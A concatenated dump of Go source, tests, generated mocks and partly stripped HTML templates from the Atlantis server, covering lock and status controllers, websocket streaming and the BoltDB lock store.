When(dlc.DeleteLock(Any[logging.SimpleLogging](), Eq("id"))).ThenReturn(&models.ProjectLock{ Pull: models.PullRequest{ BaseRepo: models.Repo{FullName: "owner/repo"}, }, }, nil) cp := vcsmocks.NewMockClient() workingDir := mocks2.NewMockWorkingDir() workingDirLocker := events.NewDefaultWorkingDirLocker() var database db.Database tmp := t.TempDir() database, err := boltdb.New(tmp) Ok(t, err) When(cp.CreateComment(Any[logging.SimpleLogging](), Any[models.Repo](), Any[int](), Any[string](), Any[string]())).ThenReturn(errors.New("err")) lc := controllers.LocksController{ DeleteLockCommand: dlc, Logger: logging.NewNoopLogger(t), VCSClient: cp, WorkingDir: workingDir, WorkingDirLocker: workingDirLocker, Database: database, } req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) req = mux.SetURLVars(req, map[string]string{"id": "id"}) w := httptest.NewRecorder() lc.DeleteLock(w, req) ResponseContains(t, w, http.StatusOK, "Deleted lock id 'id'") } func TestDeleteLock_CommentSuccess(t *testing.T) { t.Log("We should comment back on the pull request if the lock is deleted") RegisterMockTestingT(t) cp := vcsmocks.NewMockClient() dlc := mocks2.NewMockDeleteLockCommand() workingDir := mocks2.NewMockWorkingDir() workingDirLocker := events.NewDefaultWorkingDirLocker() var database db.Database tmp := t.TempDir() database, err := boltdb.New(tmp) Ok(t, err) pull := models.PullRequest{ BaseRepo: models.Repo{FullName: "owner/repo"}, } When(dlc.DeleteLock(Any[logging.SimpleLogging](), Eq("id"))).ThenReturn(&models.ProjectLock{ Pull: pull, Workspace: "workspace", Project: models.Project{ Path: "path", RepoFullName: "owner/repo", }, }, nil) lc := controllers.LocksController{ DeleteLockCommand: dlc, Logger: logging.NewNoopLogger(t), VCSClient: cp, Database: database, WorkingDir: workingDir, WorkingDirLocker: workingDirLocker, } req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) req = mux.SetURLVars(req, map[string]string{"id": "id"}) w := httptest.NewRecorder() lc.DeleteLock(w, req) ResponseContains(t, w, http.StatusOK, "Deleted lock id 'id'") cp.VerifyWasCalled(Once()).CreateComment(Any[logging.SimpleLogging](), Eq(pull.BaseRepo), Eq(pull.Num), Eq("**Warning**: The plan for dir: `path` workspace: `workspace` was **discarded** via the Atlantis UI.\n\n"+ "To `apply` this plan you must run `plan` again."), Eq("")) } ================================================ FILE: server/controllers/status_controller.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package controllers import ( "encoding/json" "fmt" "net/http" "github.com/runatlantis/atlantis/server/events" "github.com/runatlantis/atlantis/server/logging" ) // StatusController handles the status of Atlantis. type StatusController struct { Logger logging.SimpleLogging `validate:"required"` Drainer *events.Drainer `validate:"required"` AtlantisVersion string `validate:"required"` } type StatusResponse struct { ShuttingDown bool `json:"shutting_down"` InProgressOps int `json:"in_progress_operations"` AtlantisVersion string `json:"version"` } // Get is the GET /status route. func (d *StatusController) Get(w http.ResponseWriter, _ *http.Request) { status := d.Drainer.GetStatus() data, err := json.MarshalIndent(&StatusResponse{ ShuttingDown: status.ShuttingDown, InProgressOps: status.InProgressOps, AtlantisVersion: d.AtlantisVersion, }, "", " ") if err != nil { w.WriteHeader(http.StatusInternalServerError) fmt.Fprintf(w, "Error creating status json response: %s", err) return } w.Header().Set("Content-Type", "application/json") w.Write(data) // nolint: errcheck } ================================================ FILE: server/controllers/status_controller_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package controllers_test import ( "bytes" "encoding/json" "io" "net/http" "net/http/httptest" "testing" "github.com/runatlantis/atlantis/server/controllers" "github.com/runatlantis/atlantis/server/events" "github.com/runatlantis/atlantis/server/logging" . "github.com/runatlantis/atlantis/testing" ) func TestStatusController_Startup(t *testing.T) { logger := logging.NewNoopLogger(t) r, _ := http.NewRequest("GET", "/status", bytes.NewBuffer(nil)) w := httptest.NewRecorder() dr := &events.Drainer{} d := &controllers.StatusController{ Logger: logger, Drainer: dr, AtlantisVersion: "1.0.0", } d.Get(w, r) var result controllers.StatusResponse body, err := io.ReadAll(w.Result().Body) Ok(t, err) Equals(t, 200, w.Result().StatusCode) err = json.Unmarshal(body, &result) Ok(t, err) Equals(t, false, result.ShuttingDown) Equals(t, 0, result.InProgressOps) } func TestStatusController_InProgress(t *testing.T) { logger := logging.NewNoopLogger(t) r, _ := http.NewRequest("GET", "/status", bytes.NewBuffer(nil)) w := httptest.NewRecorder() dr := &events.Drainer{} dr.StartOp() d := &controllers.StatusController{ Logger: logger, Drainer: dr, AtlantisVersion: "1.0.0", } d.Get(w, r) var result controllers.StatusResponse body, err := io.ReadAll(w.Result().Body) Ok(t, err) Equals(t, 200, w.Result().StatusCode) err = json.Unmarshal(body, &result) Ok(t, err) Equals(t, false, result.ShuttingDown) Equals(t, 1, result.InProgressOps) } func TestStatusController_Shutdown(t *testing.T) { logger := logging.NewNoopLogger(t) r, _ := http.NewRequest("GET", "/status", bytes.NewBuffer(nil)) w := httptest.NewRecorder() dr := &events.Drainer{} dr.ShutdownBlocking() d := &controllers.StatusController{ Logger: logger, Drainer: dr, AtlantisVersion: "1.0.0", } d.Get(w, r) var result controllers.StatusResponse body, err := io.ReadAll(w.Result().Body) Ok(t, err) Equals(t, 200, w.Result().StatusCode) err = json.Unmarshal(body, &result) Ok(t, err) Equals(t, true, result.ShuttingDown) Equals(t, 0, result.InProgressOps) } ================================================ FILE: server/controllers/web_templates/mocks/mock_template_writer.go ================================================ // Code generated by pegomock. DO NOT EDIT. // Source: github.com/runatlantis/atlantis/server/controllers/web_templates (interfaces: TemplateWriter) package mocks import ( pegomock "github.com/petergtz/pegomock/v4" io "io" "reflect" "time" ) type MockTemplateWriter struct { fail func(message string, callerSkip ...int) } func NewMockTemplateWriter(options ...pegomock.Option) *MockTemplateWriter { mock := &MockTemplateWriter{} for _, option := range options { option.Apply(mock) } return mock } func (mock *MockTemplateWriter) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } func (mock *MockTemplateWriter) FailHandler() pegomock.FailHandler { return mock.fail } func (mock *MockTemplateWriter) Execute(wr io.Writer, data interface{}) error { if mock == nil { panic("mock must not be nil. Use myMock := NewMockTemplateWriter().") } _params := []pegomock.Param{wr, data} _result := pegomock.GetGenericMockFrom(mock).Invoke("Execute", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(error) } } return _ret0 } func (mock *MockTemplateWriter) VerifyWasCalledOnce() *VerifierMockTemplateWriter { return &VerifierMockTemplateWriter{ mock: mock, invocationCountMatcher: pegomock.Times(1), } } func (mock *MockTemplateWriter) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockTemplateWriter { return &VerifierMockTemplateWriter{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } func (mock *MockTemplateWriter) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockTemplateWriter { return &VerifierMockTemplateWriter{ mock: mock, invocationCountMatcher: invocationCountMatcher, inOrderContext: inOrderContext, } } func (mock *MockTemplateWriter) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockTemplateWriter { return &VerifierMockTemplateWriter{ mock: mock, invocationCountMatcher: invocationCountMatcher, timeout: timeout, } } type VerifierMockTemplateWriter struct { mock *MockTemplateWriter invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } func (verifier *VerifierMockTemplateWriter) Execute(wr io.Writer, data interface{}) *MockTemplateWriter_Execute_OngoingVerification { _params := []pegomock.Param{wr, data} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Execute", _params, verifier.timeout) return &MockTemplateWriter_Execute_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockTemplateWriter_Execute_OngoingVerification struct { mock *MockTemplateWriter methodInvocations []pegomock.MethodInvocation } func (c *MockTemplateWriter_Execute_OngoingVerification) GetCapturedArguments() (io.Writer, interface{}) { wr, data := c.GetAllCapturedArguments() return wr[len(wr)-1], data[len(data)-1] } func (c *MockTemplateWriter_Execute_OngoingVerification) GetAllCapturedArguments() (_param0 []io.Writer, _param1 []interface{}) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]io.Writer, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(io.Writer) } } if len(_params) > 1 { _param1 = make([]interface{}, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(interface{}) } } } return } ================================================ FILE: server/controllers/web_templates/templates/github-app.html.tmpl ================================================ atlantis

atlantis

{{ if .Target }} Create a github app {{ else }} Github app created successfully! {{ end }}

{{ if .Target }}
{{ else }}

Visit {{ .URL }}/installations/new to install the app for your user or organization, then update the following values in your config and restart Atlantis:

  • gh-app-id:
    {{ .ID }}
  • gh-app-key-file:
    {{ .Key }}
  • gh-webhook-secret:
    {{ .WebhookSecret }}
{{ end }}
================================================ FILE: server/controllers/web_templates/templates/index.html.tmpl ================================================ atlantis

atlantis

Plan discarded and unlocked!

{{ if .ApplyLock.GlobalApplyLockEnabled }} {{ if .ApplyLock.Locked }}
Apply commands are disabled globally
Lock Status: Active
Active Since: {{ .ApplyLock.TimeFormatted }}
Enable Apply Commands
{{ else }}
Apply commands are enabled
Disable Apply Commands
{{ end }} {{ end }}



Locks

{{ $basePath := .CleanedBasePath }} {{ if .Locks }}
Repository Project Workspace Locked By Date/Time Status
{{ range .Locks }} {{ end }}
{{ else }}

No locks found.

{{ end }}



Jobs

{{ if .PullToJobMapping }}
Repository Project Workspace Date/Time Step Description
{{ range .PullToJobMapping }}
{{ .Pull.RepoFullName }} #{{ .Pull.PullNum }} {{ if .Pull.Path }}{{ .Pull.Path }}{{ end }} {{ if .Pull.Workspace }}{{ .Pull.Workspace }}{{ end }} {{ range .JobIDInfos }}
{{ .TimeFormatted }}
{{ end }}
{{ range .JobIDInfos }} {{ end }} {{ range .JobIDInfos }}
{{ .JobDescription }}
{{ end }}
{{ end }}
{{ else }}

No jobs found.

{{ end }}
{{ .AtlantisVersion }}
================================================ FILE: server/controllers/web_templates/templates/lock.html.tmpl ================================================ atlantis

atlantis

{{.LockKey}} Locked


Repo Owner:
{{.RepoOwner}}
Repo Name:
{{.RepoName}}
Pull Request Link:
Locked By:
{{.LockedBy}}
Workspace:
{{.Workspace}}

Discard Plan & Unlock
v{{ .AtlantisVersion }}
================================================ FILE: server/controllers/web_templates/templates/project-jobs-error.html.tmpl ================================================ atlantis

atlantis


================================================ FILE: server/controllers/web_templates/templates/project-jobs.html.tmpl ================================================ atlantis

atlantis

Initializing...
================================================ FILE: server/controllers/web_templates/web_templates.go ================================================ // Copyright 2017 HootSuite Media Inc. // // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Modified hereafter by contributors to runatlantis/atlantis. package web_templates import ( "embed" "html/template" "io" "time" "github.com/Masterminds/sprig/v3" "github.com/runatlantis/atlantis/server/jobs" ) //go:generate pegomock generate --package mocks -o mocks/mock_template_writer.go TemplateWriter //go:embed templates/* var templatesFS embed.FS // Read all the templates from the embedded filesystem var templates, _ = template.New("").Funcs(sprig.TxtFuncMap()).ParseFS(templatesFS, "templates/*.tmpl") var templateFileNames = map[string]string{ "index": "index.html.tmpl", "lock": "lock.html.tmpl", "project-jobs": "project-jobs.html.tmpl", "project-jobs-error": "project-jobs-error.html.tmpl", "github-app": "github-app.html.tmpl", } // TemplateWriter is an interface over html/template that's used to enable // mocking. type TemplateWriter interface { // Execute applies a parsed template to the specified data object, // writing the output to wr. Execute(wr io.Writer, data any) error } // LockIndexData holds the fields needed to display the index view for locks. type LockIndexData struct { LockPath string RepoFullName string PullNum int Path string Workspace string LockedBy string Time time.Time TimeFormatted string } // ApplyLockData holds the fields to display in the index view type ApplyLockData struct { Locked bool GlobalApplyLockEnabled bool Time time.Time TimeFormatted string } // IndexData holds the data for rendering the index page type IndexData struct { Locks []LockIndexData PullToJobMapping []jobs.PullInfoWithJobIDs ApplyLock ApplyLockData AtlantisVersion string // CleanedBasePath is the path Atlantis is accessible at externally. If // not using a path-based proxy, this will be an empty string. Never ends // in a '/' (hence "cleaned"). CleanedBasePath string } var IndexTemplate = templates.Lookup(templateFileNames["index"]) // LockDetailData holds the fields needed to display the lock detail view. type LockDetailData struct { LockKeyEncoded string LockKey string RepoOwner string RepoName string PullRequestLink string LockedBy string Workspace string AtlantisVersion string // CleanedBasePath is the path Atlantis is accessible at externally. If // not using a path-based proxy, this will be an empty string. Never ends // in a '/' (hence "cleaned"). CleanedBasePath string } var LockTemplate = templates.Lookup(templateFileNames["lock"]) // ProjectJobData holds the data needed to stream the current PR information type ProjectJobData struct { AtlantisVersion string ProjectPath string CleanedBasePath string } var ProjectJobsTemplate = templates.Lookup(templateFileNames["project-jobs"]) type ProjectJobsError struct { AtlantisVersion string ProjectPath string CleanedBasePath string } var ProjectJobsErrorTemplate = templates.Lookup(templateFileNames["project-jobs-error"]) // GithubSetupData holds the data for rendering the github app setup page type GithubSetupData struct { Target string Manifest string ID int64 Key string WebhookSecret string URL string CleanedBasePath string } var GithubAppSetupTemplate = templates.Lookup(templateFileNames["github-app"]) ================================================ FILE: server/controllers/web_templates/web_templates_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package web_templates import ( "io" "testing" "time" "github.com/runatlantis/atlantis/server/jobs" . "github.com/runatlantis/atlantis/testing" ) func TestIndexTemplate(t *testing.T) { err := IndexTemplate.Execute(io.Discard, IndexData{ Locks: []LockIndexData{ { LockPath: "lock path", RepoFullName: "repo full name", PullNum: 1, Path: "path", Workspace: "workspace", Time: time.Now(), TimeFormatted: "2006-01-02 15:04:05", }, }, ApplyLock: ApplyLockData{ Locked: true, Time: time.Now(), TimeFormatted: "2006-01-02 15:04:05", }, AtlantisVersion: "v0.0.0", CleanedBasePath: "/path", PullToJobMapping: []jobs.PullInfoWithJobIDs{ { Pull: jobs.PullInfo{ PullNum: 1, Repo: "repo", RepoFullName: "repo full name", ProjectName: "project name", Path: "path", Workspace: "workspace", }, JobIDInfos: []jobs.JobIDInfo{ {JobID: "job id", JobIDUrl: "job id url", JobDescription: "job description", Time: time.Now(), TimeFormatted: "02-01-2006 15:04:05", JobStep: "job step"}, }, }, }, }) Ok(t, err) } func TestLockTemplate(t *testing.T) { err := LockTemplate.Execute(io.Discard, LockDetailData{ LockKeyEncoded: "lock key encoded", LockKey: "lock key", PullRequestLink: "https://example.com", LockedBy: "locked by", Workspace: "workspace", AtlantisVersion: "v0.0.0", CleanedBasePath: "/path", RepoOwner: "repo owner", RepoName: "repo name", }) Ok(t, err) } func TestProjectJobsTemplate(t *testing.T) { err := ProjectJobsTemplate.Execute(io.Discard, ProjectJobData{ AtlantisVersion: "v0.0.0", ProjectPath: "project path", CleanedBasePath: "/path", }) Ok(t, err) } func TestProjectJobsErrorTemplate(t *testing.T) { err := ProjectJobsTemplate.Execute(io.Discard, ProjectJobsError{ AtlantisVersion: "v0.0.0", ProjectPath: "project path", CleanedBasePath: "/path", }) Ok(t, err) } func TestGithubAppSetupTemplate(t *testing.T) { err := GithubAppSetupTemplate.Execute(io.Discard, GithubSetupData{ Target: "target", Manifest: "manifest", ID: 1, Key: "key", WebhookSecret: "webhook secret", URL: "https://example.com", CleanedBasePath: "/path", }) Ok(t, err) } ================================================ FILE: server/controllers/websocket/mux.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package websocket import ( "fmt" "net/http" "github.com/gorilla/websocket" "github.com/runatlantis/atlantis/server/logging" ) // PartitionKeyGenerator generates partition keys for the multiplexor type PartitionKeyGenerator interface { Generate(r *http.Request) (string, error) } // PartitionRegistry is the registry holding each partition // and is responsible for registering/deregistering new buffers type PartitionRegistry interface { Register(key string, buffer chan string) Deregister(key string, buffer chan string) IsKeyExists(key string) bool } // Multiplexor is responsible for handling the data transfer between the storage layer // and the registry. Note this is still a WIP as right now the registry is assumed to handle // everything. type Multiplexor struct { writer *Writer keyGenerator PartitionKeyGenerator registry PartitionRegistry } func checkOriginFunc(checkOrigin bool) func(r *http.Request) bool { if checkOrigin { return nil // use Gorilla websocket's checkSameOrigin } return func(r *http.Request) bool { return true } } func NewMultiplexor(log logging.SimpleLogging, keyGenerator PartitionKeyGenerator, registry PartitionRegistry, checkOrigin bool) *Multiplexor { upgrader := websocket.Upgrader{ CheckOrigin: checkOriginFunc(checkOrigin), } return &Multiplexor{ writer: &Writer{ upgrader: upgrader, log: log, }, keyGenerator: keyGenerator, registry: registry, } } // Handle should be called for a given websocket request. It blocks // while writing to the websocket until the buffer is closed. func (m *Multiplexor) Handle(w http.ResponseWriter, r *http.Request) error { key, err := m.keyGenerator.Generate(r) if err != nil { return fmt.Errorf("generating partition key: %w", err) } // check if the job ID exists before registering receiver if !m.registry.IsKeyExists(key) { return fmt.Errorf("invalid key: %s", key) } // Buffer size set to 1000 to ensure messages get queued. // TODO: make buffer size configurable buffer := make(chan string, 1000) // spinning up a goroutine for this since we are attempting to block on the read side. go m.registry.Register(key, buffer) defer m.registry.Deregister(key, buffer) err = m.writer.Write(w, r, buffer) if err != nil { return fmt.Errorf("writing to ws %s: %w", key, err) } return nil } ================================================ FILE: server/controllers/websocket/mux_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package websocket import ( "net/http" "net/http/httptest" "net/url" "testing" "github.com/gorilla/websocket" ) func wsHandler(t *testing.T, checkOrigin bool) http.HandlerFunc { upgrader := websocket.Upgrader{ CheckOrigin: checkOriginFunc(checkOrigin), } return func(w http.ResponseWriter, r *http.Request) { c, err := upgrader.Upgrade(w, r, nil) if err != nil { t.Log("upgrade:", err) return } defer c.Close() } } func TestCheckOriginFunc(t *testing.T) { tests := []struct { name string checkOrigin bool origin string host string wantErr bool }{ {"same origin", true, "http://example.com/", "example.com", false}, {"same origin with port", true, "http://example.com:8080/", "example.com:8080", false}, {"fail with different origin", true, "http://example.net/", "example.com", true}, {"success with same origin without check", false, "http://example.com/", "example.com", false}, {"success with different origin without check", false, "http://example.net/", "example.com", false}, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { s := httptest.NewServer(wsHandler(t, tt.checkOrigin)) u, _ := url.Parse(s.URL) u.Path = "/" u.Scheme = "ws" header := http.Header{ "Origin": []string{tt.origin}, "Host": []string{tt.host}, } c, _, err := websocket.DefaultDialer.Dial(u.String(), header) if err == nil { defer c.Close() } if (err != nil) != tt.wantErr { t.Errorf("websocket dial error = %v, wantErr %v", err, tt.wantErr) } }) } } ================================================ FILE: server/controllers/websocket/writer.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package websocket import ( "fmt" "net/http" "github.com/gorilla/websocket" "github.com/runatlantis/atlantis/server/logging" ) func NewWriter(log logging.SimpleLogging, checkOrigin bool) *Writer { upgrader := websocket.Upgrader{ CheckOrigin: checkOriginFunc(checkOrigin), } upgrader.CheckOrigin = func(r *http.Request) bool { return true } return &Writer{ upgrader: upgrader, log: log, } } type Writer struct { upgrader websocket.Upgrader log logging.SimpleLogging } func (w *Writer) Write(rw http.ResponseWriter, r *http.Request, input chan string) error { conn, err := w.upgrader.Upgrade(rw, r, nil) if err != nil { return fmt.Errorf("upgrading websocket connection: %w", err) } // block on reading our input channel for msg := range input { if err := conn.WriteMessage(websocket.BinaryMessage, []byte("\r"+msg+"\n")); err != nil { w.log.Warn("Failed to write ws message: %s", err) return err } } // close ws conn after input channel is closed if err = conn.Close(); err != nil { w.log.Warn("Failed to close ws connection: %s", err) } return nil } ================================================ FILE: server/core/boltdb/boltdb.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 // Package boltdb handles our database layer using BoltDB. package boltdb import ( "bytes" "encoding/json" "fmt" "log" "os" "path" "strings" "time" "github.com/pkg/errors" "github.com/runatlantis/atlantis/server/core/locking" "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/models" bolt "go.etcd.io/bbolt" ) // BoltDB is a database using BoltDB type BoltDB struct { db *bolt.DB locksBucketName []byte pullsBucketName []byte globalLocksBucketName []byte } const ( locksBucketName = "runLocks" pullsBucketName = "pulls" globalLocksBucketName = "globalLocks" pullKeySeparator = "::" ) // New returns a valid locker. We need to be able to write to dataDir // since bolt stores its data as a file func New(dataDir string) (*BoltDB, error) { if err := os.MkdirAll(dataDir, 0700); err != nil { return nil, fmt.Errorf("creating data dir: %w", err) } db, err := bolt.Open(path.Join(dataDir, "atlantis.db"), 0600, &bolt.Options{Timeout: 1 * time.Second}) if err != nil { if err.Error() == "timeout" { return nil, errors.New("starting BoltDB: timeout (a possible cause is another Atlantis instance already running)") } return nil, fmt.Errorf("starting BoltDB: %w", err) } // Create the buckets. err = db.Update(func(tx *bolt.Tx) error { if _, err = tx.CreateBucketIfNotExists([]byte(locksBucketName)); err != nil { return fmt.Errorf("creating bucket %q: %w", locksBucketName, err) } if _, err = tx.CreateBucketIfNotExists([]byte(pullsBucketName)); err != nil { return fmt.Errorf("creating bucket %q: %w", pullsBucketName, err) } if _, err = tx.CreateBucketIfNotExists([]byte(globalLocksBucketName)); err != nil { return fmt.Errorf("creating bucket %q: %w", globalLocksBucketName, err) } return nil }) if err != nil { return nil, fmt.Errorf("starting BoltDB: %w", err) } // Migrate old lock keys to new format. // Old format: {repoFullName}/{path}/{workspace} // New format: {repoFullName}/{path}/{workspace}/{projectName} // We scan all keys and for those that don't match the new format, // we read their value, create a new key with the new format and // delete the old key. err = db.Update(func(tx *bolt.Tx) error { bucket := tx.Bucket([]byte(locksBucketName)) // Phase 1: Collect keys that need migration type migration struct { oldKey []byte newKey string oldValue []byte } var migrations []migration if err := bucket.ForEach(func(oldKey, oldValue []byte) error { _, err := locking.IsCurrentLocking(string(oldKey)) if err != nil { var currLock models.ProjectLock if err := json.Unmarshal(oldValue, &currLock); err != nil { return errors.Wrap(err, "failed to deserialize current lock") } newKey := models.GenerateLockKey(currLock.Project, currLock.Workspace) migrations = append(migrations, migration{ oldKey: append([]byte(nil), oldKey...), newKey: newKey, oldValue: append([]byte(nil), oldValue...), }) } return nil }); err != nil { return err } for _, m := range migrations { if err := bucket.Put([]byte(m.newKey), m.oldValue); err != nil { return err } if err := bucket.Delete(m.oldKey); err != nil { return err } } return nil }) if err != nil { log.Printf("warning: failed to migrate BoltDB lock keys: %v", err) } return &BoltDB{ db: db, locksBucketName: []byte(locksBucketName), pullsBucketName: []byte(pullsBucketName), globalLocksBucketName: []byte(globalLocksBucketName), }, nil } // NewWithDB is used for testing. func NewWithDB(db *bolt.DB, bucket string, globalBucket string) (*BoltDB, error) { return &BoltDB{ db: db, locksBucketName: []byte(bucket), pullsBucketName: []byte(pullsBucketName), globalLocksBucketName: []byte(globalBucket), }, nil } // TryLock attempts to create a new lock. If the lock is // acquired, it will return true and the lock returned will be newLock. // If the lock is not acquired, it will return false and the current // lock that is preventing this lock from being acquired. func (b *BoltDB) TryLock(newLock models.ProjectLock) (bool, models.ProjectLock, error) { var lockAcquired bool var currLock models.ProjectLock key := b.lockKey(newLock.Project, newLock.Workspace) newLockSerialized, _ := json.Marshal(newLock) transactionErr := b.db.Update(func(tx *bolt.Tx) error { bucket := tx.Bucket(b.locksBucketName) // if there is no run at that key then we're free to create the lock currLockSerialized := bucket.Get([]byte(key)) if currLockSerialized == nil { // This will only error on readonly buckets, it's okay to ignore. bucket.Put([]byte(key), newLockSerialized) // nolint: errcheck lockAcquired = true currLock = newLock return nil } // otherwise the lock fails, return to caller the run that's holding the lock if err := json.Unmarshal(currLockSerialized, &currLock); err != nil { return fmt.Errorf("failed to deserialize current lock: %w", err) } lockAcquired = false return nil }) if transactionErr != nil { return false, currLock, fmt.Errorf("DB transaction failed: %w", transactionErr) } return lockAcquired, currLock, nil } // Unlock attempts to unlock the project and workspace. // If there is no lock, then it will return a nil pointer. // If there is a lock, then it will delete it, and then return a pointer // to the deleted lock. func (b *BoltDB) Unlock(p models.Project, workspace string) (*models.ProjectLock, error) { var lock models.ProjectLock foundLock := false key := b.lockKey(p, workspace) err := b.db.Update(func(tx *bolt.Tx) error { bucket := tx.Bucket(b.locksBucketName) serialized := bucket.Get([]byte(key)) if serialized != nil { if err := json.Unmarshal(serialized, &lock); err != nil { return fmt.Errorf("failed to deserialize lock: %w", err) } foundLock = true } return bucket.Delete([]byte(key)) }) if err != nil { err = fmt.Errorf("DB transaction failed: %w", err) } if foundLock { return &lock, err } return nil, err } // List lists all current locks. func (b *BoltDB) List() ([]models.ProjectLock, error) { var locks []models.ProjectLock var locksBytes [][]byte err := b.db.View(func(tx *bolt.Tx) error { bucket := tx.Bucket(b.locksBucketName) c := bucket.Cursor() for k, v := c.First(); k != nil; k, v = c.Next() { locksBytes = append(locksBytes, v) } return nil }) if err != nil { return locks, fmt.Errorf("DB transaction failed: %w", err) } // deserialize bytes into the proper objects for k, v := range locksBytes { var lock models.ProjectLock if err := json.Unmarshal(v, &lock); err != nil { return locks, fmt.Errorf("failed to deserialize lock at key '%d': %w", k, err) } locks = append(locks, lock) } return locks, nil } // LockCommand attempts to create a new lock for a CommandName. // If the lock doesn't exists, it will create a lock and return a pointer to it. // If the lock already exists, it will return an "lock already exists" error func (b *BoltDB) LockCommand(cmdName command.Name, lockTime time.Time) (*command.Lock, error) { lock := command.Lock{ CommandName: cmdName, LockMetadata: command.LockMetadata{ UnixTime: lockTime.Unix(), }, } newLockSerialized, _ := json.Marshal(lock) transactionErr := b.db.Update(func(tx *bolt.Tx) error { bucket := tx.Bucket(b.globalLocksBucketName) currLockSerialized := bucket.Get([]byte(b.commandLockKey(cmdName))) if currLockSerialized != nil { return errors.New("lock already exists") } // This will only error on readonly buckets, it's okay to ignore. bucket.Put([]byte(b.commandLockKey(cmdName)), newLockSerialized) // nolint: errcheck return nil }) if transactionErr != nil { return nil, fmt.Errorf("db transaction failed: %w", transactionErr) } return &lock, nil } // UnlockCommand removes CommandName lock if present. // If there are no lock it returns an error. func (b *BoltDB) UnlockCommand(cmdName command.Name) error { transactionErr := b.db.Update(func(tx *bolt.Tx) error { bucket := tx.Bucket(b.globalLocksBucketName) if l := bucket.Get([]byte(b.commandLockKey(cmdName))); l == nil { return errors.New("no lock exists") } return bucket.Delete([]byte(b.commandLockKey(cmdName))) }) if transactionErr != nil { return fmt.Errorf("db transaction failed: %w", transactionErr) } return nil } // CheckCommandLock checks if CommandName lock was set. // If the lock exists return the pointer to the lock object, otherwise return nil func (b *BoltDB) CheckCommandLock(cmdName command.Name) (*command.Lock, error) { cmdLock := command.Lock{} found := false err := b.db.View(func(tx *bolt.Tx) error { bucket := tx.Bucket(b.globalLocksBucketName) serializedLock := bucket.Get([]byte(b.commandLockKey(cmdName))) if serializedLock != nil { if err := json.Unmarshal(serializedLock, &cmdLock); err != nil { return fmt.Errorf("failed to deserialize UserConfig: %w", err) } found = true } return nil }) if found { return &cmdLock, err } return nil, err } // UnlockByPull deletes all locks associated with that pull request and returns them. func (b *BoltDB) UnlockByPull(repoFullName string, pullNum int) ([]models.ProjectLock, error) { var locks []models.ProjectLock err := b.db.View(func(tx *bolt.Tx) error { c := tx.Bucket(b.locksBucketName).Cursor() // we can use the repoFullName as a prefix search since that's the first part of the key for k, v := c.Seek([]byte(repoFullName)); k != nil && bytes.HasPrefix(k, []byte(repoFullName)); k, v = c.Next() { var lock models.ProjectLock if err := json.Unmarshal(v, &lock); err != nil { return fmt.Errorf("deserializing lock at key %q: %w", string(k), err) } if lock.Pull.Num == pullNum { locks = append(locks, lock) } } return nil }) if err != nil { return locks, err } // delete the locks for _, lock := range locks { if _, err = b.Unlock(lock.Project, lock.Workspace); err != nil { return locks, fmt.Errorf("unlocking repo %s, path %s, workspace %s: %w", lock.Project.RepoFullName, lock.Project.Path, lock.Workspace, err) } } return locks, nil } // GetLock returns a pointer to the lock for that project and workspace. // If there is no lock, it returns a nil pointer. func (b *BoltDB) GetLock(p models.Project, workspace string) (*models.ProjectLock, error) { key := b.lockKey(p, workspace) var lockBytes []byte err := b.db.View(func(tx *bolt.Tx) error { b := tx.Bucket(b.locksBucketName) lockBytes = b.Get([]byte(key)) return nil }) if err != nil { return nil, fmt.Errorf("getting lock data: %w", err) } // lockBytes will be nil if there was no data at that key if lockBytes == nil { return nil, nil } var lock models.ProjectLock if err := json.Unmarshal(lockBytes, &lock); err != nil { return nil, fmt.Errorf("deserializing lock at key %q: %w", key, err) } // need to set it to Local after deserialization due to https://github.com/golang/go/issues/19486 lock.Time = lock.Time.Local() return &lock, nil } // UpdatePullWithResults updates pull's status with the latest project results. // It returns the new PullStatus object. func (b *BoltDB) UpdatePullWithResults(pull models.PullRequest, newResults []command.ProjectResult) (models.PullStatus, error) { key, err := b.pullKey(pull) if err != nil { return models.PullStatus{}, err } var newStatus models.PullStatus err = b.db.Update(func(tx *bolt.Tx) error { bucket := tx.Bucket(b.pullsBucketName) currStatus, err := b.getPullFromBucket(bucket, key) if err != nil { return err } // If there is no pull OR if the pull we have is out of date, we // just write a new pull. if currStatus == nil || currStatus.Pull.HeadCommit != pull.HeadCommit { var statuses []models.ProjectStatus for _, r := range 